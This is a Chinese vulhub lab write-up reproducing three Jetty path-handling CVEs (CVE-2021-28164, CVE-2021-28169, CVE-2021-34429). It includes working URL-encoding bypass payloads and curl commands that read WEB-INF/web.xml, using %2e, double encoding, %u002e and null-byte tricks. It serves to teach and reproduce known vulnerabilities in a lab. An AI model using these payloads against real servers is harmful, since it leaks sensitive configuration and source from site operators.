vulhub漏洞复现30_Jetty
一、 CVE-2021-28164_Jetty WEB-INF 敏感信息泄露漏洞
前言
Eclipse Jetty是一个开源的servlet容器,它为基于Java的Web容器提供运行环境。
漏洞详情
Jetty 9.4.37引入对RFC3986的新实现,而URL编码的`.`字符被排除在URI规范之外,这个行为在RFC中是正确的,但在servlet的实现中导致攻击者可以通过`%2e`来绕过限制,下载WEB-INF目录下的任意文件,导致敏感信息泄露。该漏洞在9.4.39中修复。
漏洞环境
靶场:192.168.4.10:ubuntu
执行如下命令启动一个Jetty 9.4.37:
#docker-compose up -d
服务启动后,访问`http://your-ip:8080`可以查看到一个example页面。

漏洞复现
直接访问`/WEB-INF/web.xml`将会返回404页面:

使用`%2e/`来绕过限制下载web.xml:
```
curl -v 'http://192.168.1.162:8080/%2e/WEB-INF/web.xml'
```

二、CVE-2021-28169_Jetty 通用 Servlets 组件 ConcatServlet 信息泄露漏洞
前言
Eclipse Jetty是一个开源的servlet容器,它为基于Java的Web容器提供运行环境,而Jetty Servlets是Jetty提供给开发者的一些通用组件。
漏洞详情
在9.4.40, 10.0.2, 11.0.2版本前,Jetty Servlets中的`ConcatServlet`、`WelcomeFilter`类存在多重解码问题,如果开发者主动使用了这两个类,攻击者可以利用其访问WEB-INF目录下的敏感文件,造成配置文件及代码泄露。
漏洞环境
执行如下命令启动一个Jetty 9.4.40服务器:
#docker-compose up -d
环境启动后,访问`http://your-ip:8080`即可查看到一个example页面。该页面使用到了`ConcatServlet`来优化静态文件的加载:
```
<link rel="stylesheet" href="/static?/css/base.css&/css/app.css">
```
漏洞利用
正常通过`/static?/WEB-INF/web.xml`无法访问到敏感文件web.xml:

对字母`W`进行双URL编码,即可绕过限制访问web.xml:
```
curl -v 'http://your-ip:8080/static?/%2557EB-INF/web.xml'
```

三、 CVE-2021-34429_Jetty WEB-INF 敏感信息泄露漏洞
漏洞详情
Jetty在9.4.40后修复了因为`%2e`导致的敏感信息泄露漏洞[CVE-2021-28164](https://github.com/vulhub/vulhub/tree/master/jetty/CVE-2021-28164),但这个修复是不完全的,通过下面三种方式可以进行绕过:
- unicode形式URL编码:`/%u002e/WEB-INF/web.xml`
- `\0`组合`.`导致的绕过:`/.%00/WEB-INF/web.xml`
- `\0`组合`..`导致的绕过:`/a/b/..%00/WEB-INF/web.xml`
影响版本:9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5
漏洞环境
执行如下命令启动一个Jetty 9.4.40:
```
docker-compose up -d
```
服务启动后,访问`http://your-ip:8080`可以查看到一个example页面。
漏洞复现
直接访问`/WEB-INF/web.xml`将会返回404页面:

使用`/%u002e/WEB-INF/web.xml`来绕过限制下载web.xml:

更多推荐



所有评论(0)